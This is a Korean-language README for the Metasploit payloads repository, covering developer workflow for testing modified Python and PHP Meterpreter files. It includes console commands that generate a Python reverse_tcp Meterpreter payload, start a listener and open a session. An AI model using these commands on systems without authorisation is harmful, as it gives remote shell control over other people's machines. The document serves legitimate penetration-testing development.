다양한 Metasploit Framework 페이로드를 위한 통합 저장소
이 저장소는 서로 다른 Metasploit Framework 페이로드들을 위한 통합 저장소로, 다음 저장소들을 병합한 것입니다:
Mettle이라고 불리는 대체 크로스 플랫폼 C Meterpreter는 https://github.com/rapid7/mettle 에서 개발되고 있습니다.
meterpreter별 README, 빌드 지침 및 라이선스 세부 정보는 각 디렉터리를 참조하십시오:
Python 및 PHP Meterpreter의 경우, 관련 파일을 ~/.msf4/payloads/meterpreter에 심볼릭 링크하여 이러한 파일에 대한 변경 사항을 테스트할 수 있습니다.
예를 들어, Python Meterpreter 편집의 경우 다음과 같이 보일 수 있습니다:
mkdir -p ~/.msf4/payloads
cd ~/metasploit-payloads
ln -s ~/metasploit-payloads/python/meterpreter/ext_server_stdapi.py ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
/home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/your_user/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py
모든 것이 제대로 진행되었다면, 해당 Meterpreter 페이로드 중 하나를 선택하고 세션을 수신할 때 경고 메시지가 표시되어야 합니다:
msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.153.128:4444
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600
Meterpreter를 변경할 때는 테스트 모듈이 정상적으로 작동하는지 확인하십시오.